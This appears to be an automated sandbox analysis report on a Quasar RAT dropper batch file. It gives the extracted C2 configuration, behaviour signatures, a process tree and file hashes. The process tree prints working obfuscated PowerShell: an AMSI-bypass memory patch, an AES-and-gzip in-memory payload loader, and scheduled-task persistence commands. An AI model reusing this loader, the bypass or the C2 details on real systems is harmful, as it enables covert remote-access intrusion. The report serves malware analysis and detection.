Analysis

  • max time kernel
    300s
  • max time network
    298s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-05-2024 13:41

General

  • Target

    New1.bat

  • Size

    1002KB

  • MD5

    f6d5bfaee8a55ff72c7b453fda066d62

  • SHA1

    7d737d53013990e5d05076b7206e43eb4793fc7f

  • SHA256

    3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

  • SHA512

    e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

  • SSDEEP

    12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

C2

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes
  • encryption_key

    zK8u0rpHf4TJzGf65Flt

  • install_name

    Win11.exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 11 Boot

  • subdirectory

    Win11

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 14 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 58 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:568
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:992
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{c738899d-b0b9-4d8f-921b-4c805e3b7e7a}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2828
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:632
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
          1⤵
            PID:720
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
            1⤵
              PID:908
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
              1⤵
                PID:984
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
                1⤵
                  PID:344
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                  1⤵
                    PID:376
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
                    1⤵
                      PID:616
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                      1⤵
                      • Drops file in System32 directory
                      PID:1028
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                      1⤵
                        PID:1096
                        • c:\windows\system32\taskhostw.exe
                          taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                          2⤵
                            PID:2884
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:uFVmWnzJsihJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wbhHqlZMizmjdp,[Parameter(Position=1)][Type]$EfpdBSPcIC)$ujrgylsdfua=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+'l'+'e'+[Char](99)+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+'e'+'m'+[Char](111)+'ry'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+[Char](116)+''+'e'+''+[Char](84)+''+'y'+'p'+[Char](101)+'','Cl'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+'e'+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$ujrgylsdfua.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+'a'+'me'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$wbhHqlZMizmjdp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$ujrgylsdfua.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'','Publ'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+'g'+''+','+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$EfpdBSPcIC,$wbhHqlZMizmjdp).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $ujrgylsdfua.CreateType();}$KTYruWttwOxeA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+'e'+'m'+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+'N'+'a'+'t'+'i'+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+'ds');$JKPzixeqbETinf=$KTYruWttwOxeA.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'P'+''+[Char](114)+'o'+[Char](99)+''+[Char](65)+''+[Char](100)+'dr'+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$kNLjgKCksyxVavPCGAm=uFVmWnzJsihJ @([String])([IntPtr]);$pNWDGhSlEagkyWpAVkFhOK=uFVmWnzJsihJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ATmByrRjPEJ=$KTYruWttwOxeA.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+'dl'+[Char](108)+'')));$oVkurHcPxUhUwV=$JKPzixeqbETinf.Invoke($Null,@([Object]$ATmByrRjPEJ,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+'ib'+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$UHQehnPSjAGnutaCb=$JKPzixeqbETinf.Invoke($Null,@([Object]$ATmByrRjPEJ,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'Pro'+[Char](116)+'e'+[Char](99)+'t')));$XEPcQLM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oVkurHcPxUhUwV,$kNLjgKCksyxVavPCGAm).Invoke('a'+'m'+''+[Char](115)+'i'+'.'+''+'d'+'l'+'l'+'');$ltuVqvzWkOUJRTsRM=$JKPzixeqbETinf.Invoke($Null,@([Object]$XEPcQLM,[Object](''+[Char](65)+'msi'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+'f'+''+[Char](102)+''+[Char](101)+'r')));$VjsceerNFP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHQehnPSjAGnutaCb,$pNWDGhSlEagkyWpAVkFhOK).Invoke($ltuVqvzWkOUJRTsRM,[uint32]8,4,[ref]$VjsceerNFP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ltuVqvzWkOUJRTsRM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHQehnPSjAGnutaCb,$pNWDGhSlEagkyWpAVkFhOK).Invoke($ltuVqvzWkOUJRTsRM,[uint32]8,0x20,[ref]$VjsceerNFP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'FTWA'+[Char](82)+'E').GetValue('$'+[Char](55)+'7'+'s'+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                            2⤵
                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Modifies data under HKEY_USERS
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:3708
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k localservice -s nsi
                          1⤵
                            PID:1148
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                            1⤵
                              PID:1208
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k localservice -s EventSystem
                              1⤵
                                PID:1236
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                1⤵
                                  PID:1244
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                                  1⤵
                                    PID:1340
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                    1⤵
                                      PID:1400
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                      1⤵
                                        PID:1448
                                        • c:\windows\system32\sihost.exe
                                          sihost.exe
                                          2⤵
                                            PID:2676
                                        • c:\windows\system32\svchost.exe
                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                          1⤵
                                            PID:1484
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                            1⤵
                                              PID:1500
                                            • c:\windows\system32\svchost.exe
                                              c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                              1⤵
                                                PID:1556
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                1⤵
                                                  PID:1644
                                                • c:\windows\system32\svchost.exe
                                                  c:\windows\system32\svchost.exe -k localservice -s netprofm
                                                  1⤵
                                                    PID:1700
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                    1⤵
                                                      PID:1756
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                      1⤵
                                                        PID:1764
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                        1⤵
                                                          PID:1828
                                                        • c:\windows\system32\svchost.exe
                                                          c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                          1⤵
                                                            PID:1852
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:1996
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                              1⤵
                                                                PID:1692
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                1⤵
                                                                  PID:2096
                                                                • c:\windows\system32\svchost.exe
                                                                  c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                                  1⤵
                                                                    PID:2252
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                                    1⤵
                                                                      PID:2508
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                      1⤵
                                                                        PID:2516
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                        1⤵
                                                                          PID:2524
                                                                        • c:\windows\system32\svchost.exe
                                                                          c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:2668
                                                                          • c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                            1⤵
                                                                              PID:2704
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                                              1⤵
                                                                              • Drops file in System32 directory
                                                                              PID:2716
                                                                            • C:\Windows\sysmon.exe
                                                                              C:\Windows\sysmon.exe
                                                                              1⤵
                                                                                PID:2732
                                                                              • c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
                                                                                1⤵
                                                                                  PID:2780
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                  1⤵
                                                                                    PID:2796
                                                                                  • c:\windows\system32\svchost.exe
                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
                                                                                    1⤵
                                                                                      PID:3068
                                                                                    • C:\Windows\system32\wbem\unsecapp.exe
                                                                                      C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                      1⤵
                                                                                        PID:2480
                                                                                      • C:\Windows\Explorer.EXE
                                                                                        C:\Windows\Explorer.EXE
                                                                                        1⤵
                                                                                          PID:3352
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3296
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                              3⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Modifies registry class
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2120
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_459_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_459.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                4⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4880
                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_459.vbs"
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:5016
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_459.bat" "
                                                                                                  5⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1508
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    6⤵
                                                                                                      PID:3140
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_459.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_459.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                      6⤵
                                                                                                      • Blocklisted process makes network request
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:1924
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                        7⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:4512
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\New.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\New.exe"
                                                                                                        7⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:2892
                                                                                                        • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                                          "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
                                                                                                          8⤵
                                                                                                          • Creates scheduled task(s)
                                                                                                          PID:3996
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:3856
                                                                                            • C:\Windows\system32\DllHost.exe
                                                                                              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                              1⤵
                                                                                                PID:4056
                                                                                              • c:\windows\system32\svchost.exe
                                                                                                c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                                                                                                1⤵
                                                                                                  PID:4668
                                                                                                • c:\windows\system32\svchost.exe
                                                                                                  c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                                                                                                  1⤵
                                                                                                    PID:4500
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:3536
                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                    1⤵
                                                                                                    • Drops file in System32 directory
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:2396
                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
                                                                                                    1⤵
                                                                                                      PID:3656
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:3992
                                                                                                      • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                        C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:4680
                                                                                                        • C:\Windows\System32\InstallAgent.exe
                                                                                                          C:\Windows\System32\InstallAgent.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:2924
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                            1⤵
                                                                                                              PID:640
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              1⤵
                                                                                                                PID:1104
                                                                                                              • C:\Windows\sysWOW64\wbem\wmiprvse.exe
                                                                                                                C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                1⤵
                                                                                                                  PID:3120
                                                                                                                • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                  1⤵
                                                                                                                  • Checks BIOS information in registry
                                                                                                                  • Checks processor information in registry
                                                                                                                  PID:4336

                                                                                                                Network

                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                Replay Monitor

                                                                                                                Loading Replay Monitor...

                                                                                                                Downloads

                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                  Filesize

                                                                                                                  2KB

                                                                                                                  MD5

                                                                                                                  a8641a2f94483f12ba0cad0cf02a3bc7

                                                                                                                  SHA1

                                                                                                                  fae3e6835336154b90503431279eef6c52a289d2

                                                                                                                  SHA256

                                                                                                                  ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d

                                                                                                                  SHA512

                                                                                                                  5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62

                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                  Filesize

                                                                                                                  17KB

                                                                                                                  MD5

                                                                                                                  aedfd5d3bda8368f775872d9b5b194bf

                                                                                                                  SHA1

                                                                                                                  b224744882369260c1443f4634c6c6a92867d320

                                                                                                                  SHA256

                                                                                                                  1f8f4f24f566d9733e3082c6f01c8933e39b2e6271f86ac38da006d0d78ea0ab

                                                                                                                  SHA512

                                                                                                                  33f35d2938d0f751f40c5a955f05d9c53968048d7db1a6f1da43baf129e0bbd66a6fef127840bdc25e4ca6d54d19969af94ba98712bbe01deed7b23d946bab67

                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                  Filesize

                                                                                                                  163KB

                                                                                                                  MD5

                                                                                                                  b51552b77057c2405f73bbbf9c89234a

                                                                                                                  SHA1

                                                                                                                  4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                                  SHA256

                                                                                                                  720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                                  SHA512

                                                                                                                  564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                                • C:\Users\Admin\AppData\Local\Temp\New.exe

                                                                                                                  Filesize

                                                                                                                  409KB

                                                                                                                  MD5

                                                                                                                  cf570b21f42f0ce411b7c9961068931e

                                                                                                                  SHA1

                                                                                                                  f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

